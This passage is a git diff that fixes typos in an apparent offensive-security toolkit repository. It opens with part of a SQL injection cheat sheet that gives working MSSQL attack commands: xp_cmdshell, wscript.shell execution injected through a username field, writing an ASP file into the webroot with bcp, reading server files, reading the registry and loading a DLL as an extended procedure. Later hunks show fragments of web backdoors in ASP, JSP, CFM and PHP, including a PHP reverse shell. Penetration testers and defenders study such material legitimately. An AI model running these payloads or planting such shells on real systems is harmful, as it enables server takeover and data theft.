Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages
    master..sysmessages

  • Linked Servers
    master..sysservers

  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'

  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

@@ -173,7 +173,7 @@

Waiting For Blind SQL Injections

WAIT FOR DELAY 'time' (S)

-

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

+

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

@@ -320,7 +320,7 @@

Some Extra MySQL Notes


    -
  • By default it’s not avaliable ! +
  • By default it’s not available !
    • create table foo( line blob ); @@ -498,7 +498,7 @@

      ChangeLog

    • 30/03/2007 v1.3
        -
      • Niko pointed out PotsgreSQL and PHP supports stacked queries
      • +
      • Niko pointed out PostgreSQL and PHP supports stacked queries
      • Bypassing second MD5 check login screens description and attack added
      • @@ -591,7 +591,7 @@

        vinnu - 16.02.2010

eslimasec - 13.02.2010

-

Dear Ferruh,

we developped a small tool to aid Webapptesting that includes many of your tricks, It can be find herehttp://wiki.eslimasec.com/esliwiki/ProjectsPost.

hope it is useful 4 u and ya readers.

best regards

+

Dear Ferruh,

we developed a small tool to aid Webapptesting that includes many of your tricks, It can be find herehttp://wiki.eslimasec.com/esliwiki/ProjectsPost.

hope it is useful 4 u and ya readers.

best regards

@@ -605,7 +605,7 @@

vinnu - 12.02.2010

vinnu - 12.02.2010

-

Also in case if u r just pairing single quotes, then u can easily ecape one of the single quote using a forward slash "\".
This will again break the SQL query and will inject the parameter as a SQL query.

+

Also in case if u r just pairing single quotes, then u can easily escape one of the single quote using a forward slash "\".
This will again break the SQL query and will inject the parameter as a SQL query.

@@ -626,7 +626,7 @@

AK213 - 03.02.2010

vinnu - 28.01.2010

-

@Brent Jenkins:
Well there is a case, when this check can be thwarted, check scenario:
There are atleast two input fields (mostly user/password) and the fields are bound to the maxlength, and the maxlength check is also implemented in server side script e.g. asp, php etc.
Noiw If u fill the first comming input with single quote ' (SQL meta) then, above script will try to pair up the single quotes.
Now if all the space is acquired by single quotes, then above listed script will try to pair up all the single quotes and this will obviously increase the size of input variable. Then if, the variable input is tripped, then it may lead to an unpaired single quotation mark, this will pair up with the second condition's first single quote and will make second condition as a string and the second input becomes a part of SQL script and making SQL injection feasible.
LOX (Legion Of Xtremers)INDIA

+

@Brent Jenkins:
Well there is a case, when this check can be thwarted, check scenario:
There are atleast two input fields (mostly user/password) and the fields are bound to the maxlength, and the maxlength check is also implemented in server side script e.g. asp, php etc.
Noiw If u fill the first coming input with single quote ' (SQL meta) then, above script will try to pair up the single quotes.
Now if all the space is acquired by single quotes, then above listed script will try to pair up all the single quotes and this will obviously increase the size of input variable. Then if, the variable input is tripped, then it may lead to an unpaired single quotation mark, this will pair up with the second condition's first single quote and will make second condition as a string and the second input becomes a part of SQL script and making SQL injection feasible.
LOX (Legion Of Xtremers)INDIA

@@ -746,7 +746,7 @@

ferruh.mavituna

Bunun yanında projeler de geliştirdiğim projeleri, ar-ge kısmında güvenlik araştırma dokümanlarıma ulaşabilir, programlar kısmından yazdığım yazılımları download edebilirsiniz. Site hakkında.

diff --git a/docs/misc/KL0209LIT_fffap.html b/docs/misc/KL0209LIT_fffap.html index 24e9b627..ededa98f 100644 --- a/docs/misc/KL0209LIT_fffap.html +++ b/docs/misc/KL0209LIT_fffap.html @@ -89,7 +89,7 @@ Fuzzing includes a lot of testing. You could spend hours and hours modifying and compiling and running the same but slightly different code over and over just to get the better results. Planning, preparation, and testing are a part of fuzzing, and -laboring hours on end for the humble task of perfection, stability, and reproduceability can thankfully be very rewarding. +laboring hours on end for the humble task of perfection, stability, and reproducibility can thankfully be very rewarding. Fuzzing is useful because... @@ -569,7 +569,7 @@ 3.2 Writing the Fuzzer This example for SFTP fuzzing will be written in PERL and will be using libssh2/Net::SSH2 (this is not the only way to use -and fuzz SFTP, other libaries and extensions that may be more extensive and/or low-level are available). +and fuzz SFTP, other libraries and extensions that may be more extensive and/or low-level are available). [sftpfuzz.pl] diff --git a/regex/nsa-wordlist.txt b/regex/nsa-wordlist.txt index 078e5e69..3c2b114d 100644 --- a/regex/nsa-wordlist.txt +++ b/regex/nsa-wordlist.txt @@ -5,7 +5,7 @@ Information Security Information Warfare IW IS -Priavacy Information +Privacy Information Terrorism Defensive Information Defense @@ -36,7 +36,7 @@ CIA S/Key SSL FBI -Secert Service +Secret Service USSS Defcon Military @@ -212,7 +212,7 @@ MI6 Kh-11 Shayet-13 SADMS -Spetznaz +Spetsnaz Recce 707 CIO @@ -663,7 +663,7 @@ COS E.T. credit card fraud b9 -assasinate +assassinate virus anarchy rogue @@ -1008,6 +1008,6 @@ China Conficker Worm Scammers -Suspecious +Suspicious Social media diff --git a/web-backdoors/asp/cmdasp.aspx b/web-backdoors/asp/cmdasp.aspx index b420c875..36ffc156 100644 --- a/web-backdoors/asp/cmdasp.aspx +++ b/web-backdoors/asp/cmdasp.aspx @@ -5,7 +5,7 @@ void Page_Load(object sender, EventArgs e) { } -string ExcuteCmd(string arg) +string ExecuteCmd(string arg) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; @@ -21,7 +21,7 @@ return s; void cmdExe_Click(object sender, System.EventArgs e) { Response.Write("
");
-Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
+Response.Write(Server.HtmlEncode(ExecuteCmd(txtArg.Text)));
 Response.Write("
"); } @@ -32,7 +32,7 @@ Response.Write("");
- + Command:
diff --git a/web-backdoors/asp/file.asp b/web-backdoors/asp/file.asp index 83baf73e..f6d4d220 100644 --- a/web-backdoors/asp/file.asp +++ b/web-backdoors/asp/file.asp @@ -116,7 +116,7 @@ end if <% ' get the path to work with, if it isn't set or valid then start with the web root -' goofy if statement is used since vbscript doesn't use short-curcuit logic +' goofy if statement is used since vbscript doesn't use short-circuit logic path = trim(Request.QueryString("path")) if len(path) = 0 then path = fso.GetFolder(Server.MapPath("\")) diff --git a/web-backdoors/asp/ntdaddy.asp b/web-backdoors/asp/ntdaddy.asp index c9ce94eb..44951d49 100755 --- a/web-backdoors/asp/ntdaddy.asp +++ b/web-backdoors/asp/ntdaddy.asp @@ -101,7 +101,7 @@ FileAttributes = "Volume" case 16 FileAttributes = "Directory" case 19 -FileAttributes = "Read Only, Hidden, Directoy" +FileAttributes = "Read Only, Hidden, Directory" case 23 FileAttributes = "Read Only, Hidden, System, Directory" case 32 @@ -188,7 +188,7 @@ FolderAttributes = "Read Only, Directory" case 18 'Extra FolderAttributes = "Hidden, Directory" case 19 -FolderAttributes = "Read Only, Hidden, Directoy" +FolderAttributes = "Read Only, Hidden, Directory" case 20 'Extra FolderAttributes = "System, Directory" case 22 'Extra @@ -489,7 +489,7 @@ FolderAttributes = "Read Only, Directory" case 18 'Extra FolderAttributes = "Hidden, Directory" case 19 -FolderAttributes = "Read Only, Hidden, Directoy" +FolderAttributes = "Read Only, Hidden, Directory" case 20 'Extra FolderAttributes = "System, Directory" case 22 'Extra @@ -600,7 +600,7 @@ FileAttributes = "Volume" case 16 FileAttributes = "Directory" case 19 -FileAttributes = "Read Only, Hidden, Directoy" +FileAttributes = "Read Only, Hidden, Directory" case 23 FileAttributes = "Read Only, Hidden, System, Directory" case 32 diff --git a/web-backdoors/asp/proxy.asp b/web-backdoors/asp/proxy.asp index edf12799..82ee44bc 100644 --- a/web-backdoors/asp/proxy.asp +++ b/web-backdoors/asp/proxy.asp @@ -130,7 +130,7 @@ Dim r r.IgnoreCase = true r.Global = true - ' remove the laudurl paramater + ' remove the laudurl parameter r.Pattern = "laudurl=[^&]+($|&)" CleanFormValues = r.Replace(request.form, "") Set r = nothing diff --git a/web-backdoors/asp/shell.aspx b/web-backdoors/asp/shell.aspx index b6df6cbb..3e07e618 100644 --- a/web-backdoors/asp/shell.aspx +++ b/web-backdoors/asp/shell.aspx @@ -57,7 +57,7 @@ void Page_Load(object sender, System.EventArgs e) { // Check for an IP in the range we want string[] allowedIps = new string[] {"::1","192.168.0.1", "127.0.0.1"}; - // check if the X-Fordarded-For header exits + // check if the X-Forwarded-For header exits string remoteIp; if (HttpContext.Current.Request.Headers["X-Forwarded-For"] == null) { remoteIp = Request.UserHostAddress; diff --git a/web-backdoors/cfm/shell.cfm b/web-backdoors/cfm/shell.cfm index c5a02daf..74d08735 100644 --- a/web-backdoors/cfm/shell.cfm +++ b/web-backdoors/cfm/shell.cfm @@ -18,7 +18,7 @@ *** ******************************************************************************** *** -*** This file provides access to shell acces on the system. +*** This file provides access to shell access on the system. *** Modified by Tim Medin *** Modified by Matt Presson <@matt_presson> *** - Added some basic authentication via HTTP header diff --git a/web-backdoors/jsp/browser.jsp b/web-backdoors/jsp/browser.jsp index 2a1003a5..c781a253 100755 --- a/web-backdoors/jsp/browser.jsp +++ b/web-backdoors/jsp/browser.jsp @@ -34,13 +34,13 @@ //If true, the user is allowed to browse only in RESTRICT_PATH, //if false, the user is allowed to browse all directories besides RESTRICT_PATH private static final boolean RESTRICT_WHITELIST = false; - //Paths, sperated by semicolon + //Paths, separated by semicolon //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!! private static final String RESTRICT_PATH = "/etc;/var"; //The refresh time in seconds of the upload monitor window private static final int UPLOAD_MONITOR_REFRESH = 2; - //The number of colums for the edit field + //The number of columns for the edit field private static final int EDITFIELD_COLS = 85; //The number of rows for the edit field private static final int EDITFIELD_ROWS = 30; @@ -66,14 +66,14 @@ */ private static final int COMPRESSION_LEVEL = 1; /** - * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the + * The FORBIDDEN_DRIVES are not displayed on the list. This can be useful, if the * server runs on a windows platform, to avoid a message box, if you try to access * an empty removable drive (See KNOWN BUGS in Readme.txt). */ private static final String[] FORBIDDEN_DRIVES = {"a:\\"}; /** - * Command of the shell interpreter and the parameter to run a programm + * Command of the shell interpreter and the parameter to run a program */ private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix @@ -1570,7 +1570,7 @@ Upload finished. for(var x=0;x - Select all + Select all

<%=convertFileSize(totalSize)%> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%> diff --git a/web-backdoors/php/dns.php b/web-backdoors/php/dns.php index 3b6f65b1..08437b43 100644 --- a/web-backdoors/php/dns.php +++ b/web-backdoors/php/dns.php @@ -60,7 +60,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/php/file.php b/web-backdoors/php/file.php index 83758ae5..c2e9b9fe 100644 --- a/web-backdoors/php/file.php +++ b/web-backdoors/php/file.php @@ -61,7 +61,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/php/host.php b/web-backdoors/php/host.php index acedb4b3..79d3480f 100644 --- a/web-backdoors/php/host.php +++ b/web-backdoors/php/host.php @@ -59,7 +59,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/php/killnc.php b/web-backdoors/php/killnc.php index 8b6b026a..8cab9b12 100644 --- a/web-backdoors/php/killnc.php +++ b/web-backdoors/php/killnc.php @@ -62,7 +62,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/php/php-reverse-shell.php b/web-backdoors/php/php-reverse-shell.php index 921c0598..ab77aa22 100644 --- a/web-backdoors/php/php-reverse-shell.php +++ b/web-backdoors/php/php-reverse-shell.php @@ -38,7 +38,7 @@ // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. -// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. +// Some compile-time options are needed for daemonization (like pcntl, posix). These are rarely available. // // Usage // ----- @@ -59,7 +59,7 @@ // Daemonise ourself if possible to avoid zombies later // -// pcntl_fork is hardly ever available, but will allow us to daemonise +// pcntl_fork is hardly ever available, but will allow us to daemonize // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit @@ -83,7 +83,7 @@ $daemon = 1; } else { - printit("WARNING: Failed to daemonise. This is quite common and not fatal."); + printit("WARNING: Failed to daemonize. This is quite common and not fatal."); } // Change to a safe directory @@ -118,7 +118,7 @@ } // Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't +// Reason: Occasionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); @@ -178,7 +178,7 @@ fclose($pipes[2]); proc_close($process); -// Like print, but does nothing if we've daemonised ourself +// Like print, but does nothing if we've daemonized ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { diff --git a/web-backdoors/php/proxy.php b/web-backdoors/php/proxy.php index e39439d2..08eaf231 100644 --- a/web-backdoors/php/proxy.php +++ b/web-backdoors/php/proxy.php @@ -62,7 +62,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { @@ -94,7 +94,7 @@ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { set_error_handler('error_handler'); function geturlarray($u) { - // creates the url array, addes a scheme if it is missing and retries parsing + // creates the url array, adds a scheme if it is missing and retries parsing $o = parse_url($u); if (!isset($o["scheme"])) { $o = parse_url("http://" . $u); } if (!isset($o["path"])) { $o["path"] = "/"; } @@ -104,7 +104,7 @@ function geturlarray($u) { function buildurl ($u) { // build the url from the url array // this is used because the built in function isn't - // avilable in all installs of php + // available in all installs of php if (!isset($u["host"])) { return null; } $s = isset($u["scheme"]) ? $u["scheme"] : "http"; diff --git a/web-backdoors/php/shell.php b/web-backdoors/php/shell.php index 8cf7500e..dcd55824 100644 --- a/web-backdoors/php/shell.php +++ b/web-backdoors/php/shell.php @@ -68,7 +68,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { @@ -147,7 +147,7 @@ function stripslashes_deep($value) { //if (isset($_SESSION['nounce']) && $nounce == $_SESSION['nounce'] && // isset($ini['users'][$username])) { // if (strchr($ini['users'][$username], ':') === false) { -// // No seperator found, assume this is a password in clear text. +// // No separator found, assume this is a password in clear text. // $_SESSION['authenticated'] = ($ini['users'][$username] == $password); // } else { // list($fkt, $salt, $hash) = explode(':', $ini['users'][$username]); @@ -181,7 +181,7 @@ function stripslashes_deep($value) { array_unshift($_SESSION['history'], $command); - /* Now append the commmand to the output. */ + /* Now append the command to the output. */ $_SESSION['output'] .= '$ ' . $command . "\n"; /* Initialize the current working directory. */ @@ -231,7 +231,7 @@ function stripslashes_deep($value) { // We canot use putenv() in safe mode. if (!ini_get('safe_mode')) { - // Advice programs (ls for example) of the terminal size. + // Advise programs (ls for example) of the terminal size. putenv('ROWS=' . $rows); putenv('COLUMNS=' . $columns); } @@ -330,7 +330,7 @@ function init() { import_names('q'); # check if the necessary fields are empty or not #$em .= "
You must specify your Userid!
" if !$q::userid; @@ -281,7 +281,7 @@ sub doWork # return; #} - # if you want to restrict upload to files with certain extention + # if you want to restrict upload to files with certain extension if ($g_restrict_by_ext == 1) { my $file=$q::upload_file; diff --git a/web-backdoors/wordpress/templates/dns.php b/web-backdoors/wordpress/templates/dns.php index 7107431b..ce1b5688 100644 --- a/web-backdoors/wordpress/templates/dns.php +++ b/web-backdoors/wordpress/templates/dns.php @@ -43,7 +43,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/wordpress/templates/file.php b/web-backdoors/wordpress/templates/file.php index d80a2ae0..0a34c204 100644 --- a/web-backdoors/wordpress/templates/file.php +++ b/web-backdoors/wordpress/templates/file.php @@ -47,7 +47,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function wpl_error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/wordpress/templates/host.php b/web-backdoors/wordpress/templates/host.php index aff4ac3d..f3f75664 100644 --- a/web-backdoors/wordpress/templates/host.php +++ b/web-backdoors/wordpress/templates/host.php @@ -43,7 +43,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/wordpress/templates/ipcheck.php b/web-backdoors/wordpress/templates/ipcheck.php index fe27d70c..2ced265e 100644 --- a/web-backdoors/wordpress/templates/ipcheck.php +++ b/web-backdoors/wordpress/templates/ipcheck.php @@ -16,7 +16,7 @@ *** ******************************************************************************** *** -*** This file provides a rudamentary IP filter to help prevent usage of Laudanum tools +*** This file provides a rudimentary IP filter to help prevent usage of Laudanum tools *** by someone other than the person who uploaded Laudanum. This file should be included *** in other Laudanum tools and not called directly. *** Written by Jason Gillam diff --git a/web-backdoors/wordpress/templates/killnc.php b/web-backdoors/wordpress/templates/killnc.php index 0c985872..089f38f4 100644 --- a/web-backdoors/wordpress/templates/killnc.php +++ b/web-backdoors/wordpress/templates/killnc.php @@ -46,7 +46,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { diff --git a/web-backdoors/wordpress/templates/php-reverse-shell.php b/web-backdoors/wordpress/templates/php-reverse-shell.php index c2cf80d9..b7e7cb57 100644 --- a/web-backdoors/wordpress/templates/php-reverse-shell.php +++ b/web-backdoors/wordpress/templates/php-reverse-shell.php @@ -38,7 +38,7 @@ // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. -// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. +// Some compile-time options are needed for daemonization (like pcntl, posix). These are rarely available. // // Usage // ----- @@ -61,7 +61,7 @@ // Daemonise ourself if possible to avoid zombies later // -// pcntl_fork is hardly ever available, but will allow us to daemonise +// pcntl_fork is hardly ever available, but will allow us to daemonize // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit @@ -85,7 +85,7 @@ $daemon = 1; } else { - printit("WARNING: Failed to daemonise. This is quite common and not fatal."); + printit("WARNING: Failed to daemonize. This is quite common and not fatal."); } // Change to a safe directory @@ -120,7 +120,7 @@ } // Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't +// Reason: Occasionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); @@ -180,7 +180,7 @@ fclose($pipes[2]); proc_close($process); -// Like print, but does nothing if we've daemonised ourself +// Like print, but does nothing if we've daemonized ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { diff --git a/web-backdoors/wordpress/templates/proxy.php b/web-backdoors/wordpress/templates/proxy.php index 62d18f6d..76e4a194 100644 --- a/web-backdoors/wordpress/templates/proxy.php +++ b/web-backdoors/wordpress/templates/proxy.php @@ -47,7 +47,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { @@ -79,7 +79,7 @@ function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { set_error_handler('error_handler'); function geturlarray($u) { - // creates the url array, addes a scheme if it is missing and retries parsing + // creates the url array, adds a scheme if it is missing and retries parsing $o = parse_url($u); if (!isset($o["scheme"])) { $o = parse_url("http://" . $u); } if (!isset($o["path"])) { $o["path"] = "/"; } @@ -89,7 +89,7 @@ function geturlarray($u) { function buildurl ($u) { // build the url from the url array // this is used because the built in function isn't - // avilable in all installs of php + // available in all installs of php if (!isset($u["host"])) { return null; } $s = isset($u["scheme"]) ? $u["scheme"] : "http"; diff --git a/web-backdoors/wordpress/templates/shell.php b/web-backdoors/wordpress/templates/shell.php index 1ba24458..21757f32 100644 --- a/web-backdoors/wordpress/templates/shell.php +++ b/web-backdoors/wordpress/templates/shell.php @@ -47,7 +47,7 @@ /* This error handler will turn all notices, warnings, and errors into fatal * errors, unless they have been suppressed with the @-operator. */ function wpl_error_handler($errno, $errstr, $errfile, $errline, $errcontext) { - /* The @-opertor (used with chdir() below) temporarely makes + /* The @-operator (used with chdir() below) temporarily makes * error_reporting() return zero, and we don't want to die in that case. * We do note the error in the output, though. */ if (error_reporting() == 0) { @@ -126,7 +126,7 @@ function wpl_stripslashes_deep($value) { //if (isset($_SESSION['nounce']) && $nounce == $_SESSION['nounce'] && // isset($ini['users'][$username])) { // if (strchr($ini['users'][$username], ':') === false) { -// // No seperator found, assume this is a password in clear text. +// // No separator found, assume this is a password in clear text. // $_SESSION['authenticated'] = ($ini['users'][$username] == $password); // } else { // list($fkt, $salt, $hash) = explode(':', $ini['users'][$username]); @@ -161,7 +161,7 @@ function wpl_stripslashes_deep($value) { array_unshift($_SESSION['history'], $command); - /* Now append the commmand to the output. */ + /* Now append the command to the output. */ $_SESSION['output'] .= '$ ' . $command . "\n"; /* Initialize the current working directory. */ @@ -211,7 +211,7 @@ function wpl_stripslashes_deep($value) { // We canot use putenv() in safe mode. if (!ini_get('safe_mode')) { - // Advice programs (ls for example) of the terminal size. + // Advise programs (ls for example) of the terminal size. putenv('ROWS=' . $rows); putenv('COLUMNS=' . $columns); } @@ -310,7 +310,7 @@ function init() {